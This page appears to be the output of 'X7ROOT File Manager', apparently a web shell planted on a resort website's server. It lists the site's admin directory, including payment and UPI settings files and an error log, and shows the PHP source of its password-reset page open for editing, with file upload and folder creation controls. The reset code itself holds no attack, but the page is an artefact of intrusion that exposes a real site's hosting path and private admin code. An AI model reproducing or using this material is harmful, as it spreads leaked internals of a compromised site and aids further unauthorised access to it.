X7ROOT File Manager
Current Path:
/home/u126090504/domains/oceanicabeachresort.com/public_html/admin
home
/
u126090504
/
domains
/
oceanicabeachresort.com
/
public_html
/
admin
/
📁
..
📁
assets
📄
banners.php
(9.78 KB)
📄
booking-dashboard.php
(4.93 KB)
📄
booking_status_update.php
(6.14 KB)
📄
booking_view.php
(4.04 KB)
📄
branding_settings.php
(5.93 KB)
📄
change_password.php
(3.01 KB)
📄
contacts.php
(3.83 KB)
📄
dashboard.php
(5.64 KB)
📁
dompdf
📄
downloads.php
(4.91 KB)
📄
forgot_password.php
(5.76 KB)
📄
gallery.php
(3.08 KB)
📁
img
📁
includes
📄
index.php
(82 B)
📁
invoices
📄
login.php
(13.47 KB)
📄
logo.png
(19.29 KB)
📄
logout.php
(102 B)
📄
manage_albums.php
(10.82 KB)
📄
manage_media.php
(11.77 KB)
📄
manage_photos.php
(6.35 KB)
📄
manage_videos.php
(18.38 KB)
📄
new_password.php
(3.9 KB)
📄
notice.php
(15.52 KB)
📄
notice_error.log
(38.45 KB)
📄
notices.php
(8.24 KB)
📄
payments.php
(14.96 KB)
📄
pdf_bill_template.php
(30.69 KB)
📁
phpmailer
📄
popup.php
(14.07 KB)
📄
reset_password.php
(2.27 KB)
📄
secure_session.php
(1000 B)
📄
settings.php
(8.34 KB)
📄
test.php
(239 B)
📄
test_pdf.php
(1.58 KB)
📄
testimonials.php
(15.15 KB)
📁
tmp
📄
update_status.php
(1.66 KB)
📄
upi_settings.php
(1.52 KB)
Editing: new_password.php
<?php include 'secure_session.php'; require_once '../config.php'; $token = $_GET['token'] ?? ''; $id = isset($_GET['id']) ? (int)$_GET['id'] : 0; $showForm = false; $error = $success = ""; // A) Validate token from GET (hashed compare) if ($token && $id > 0) { $tokenHash = hash('sha256', $token); $stmt = $conn->prepare("SELECT id FROM register WHERE id=? AND reset_token=? AND reset_expires > NOW() LIMIT 1"); $stmt->bind_param("is", $id, $tokenHash); $stmt->execute(); $stmt->bind_result($foundId); $valid = $stmt->fetch(); $stmt->close(); if ($valid) { $showForm = true; } else { $error = "This reset link is invalid or has expired."; } } else { $error = "Invalid request."; } // B) Handle POST (set new password) if ($_SERVER['REQUEST_METHOD'] === 'POST') { $id = (int)($_POST['id'] ?? 0); $token = $_POST['token'] ?? ''; $pass = $_POST['password'] ?? ''; $confirm= $_POST['confirm'] ?? ''; if (strlen($pass) < 8) { $error = "Password must be at least 8 characters."; } elseif ($pass !== $confirm) { $error = "Passwords do not match."; } else { $tokenHash = hash('sha256', $token); // Re-verify token (race-safe) $stmt = $conn->prepare("SELECT id FROM register WHERE id=? AND reset_token=? AND reset_expires > NOW() LIMIT 1"); $stmt->bind_param("is", $id, $tokenHash); $stmt->execute(); $stmt->bind_result($foundId); $valid = $stmt->fetch(); $stmt->close(); if ($valid) { $newHash = password_hash($pass, PASSWORD_DEFAULT); // Update password & clear token $stmt = $conn->prepare("UPDATE register SET password=?, reset_token=NULL, reset_expires=NULL WHERE id=?"); $stmt->bind_param("si", $newHash, $id); $stmt->execute(); $stmt->close(); $success = "✅ Password updated. You can now log in."; $showForm = false; } else { $error = "This reset link is invalid or has expired."; } } } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <title>Reset Password – KIIT Academy</title> <meta name="viewport" content="width=device-width, initial-scale=1"> <link href="https://cdn.jsdelivr.net/npm/bootstrap@4.6.2/dist/css/bootstrap.min.css" rel="stylesheet"> <style> body{background:#f6f8fb;} .card{max-width:420px;margin:60px auto;background:#fff;border-radius:16px;box-shadow:0 6px 24px rgba(0,0,0,.08);padding:24px;} .msg{margin:10px 0;padding:10px;border-radius:10px} .ok{background:#e8fff2;border:1px solid #b2f0c0} .err{background:#fff0f0;border:1px solid #f0b2b2} </style> </head> <body> <div class="card"> <h3>Set a New Password</h3> <?php if ($error): ?> <div class="msg err"><?= htmlspecialchars($error) ?></div> <?php endif; ?> <?php if ($success): ?> <div class="msg ok"><?= htmlspecialchars($success) ?></div> <a class="btn btn-primary btn-block mt-2" href="login.php">Go to Login</a> <?php endif; ?> <?php if ($showForm): ?> <form method="post" autocomplete="off"> <input type="hidden" name="id" value="<?= (int)$id ?>"> <input type="hidden" name="token" value="<?= htmlspecialchars($_GET['token'] ?? '') ?>"> <div class="form-group"> <label>New Password</label> <input type="password" name="password" class="form-control" minlength="8" required> </div> <div class="form-group"> <label>Confirm Password</label> <input type="password" name="confirm" class="form-control" minlength="8" required> </div> <button type="submit" class="btn btn-primary btn-block">Update Password</button> </form> <?php endif; ?> </div> </body> </html>
Upload File
Create Folder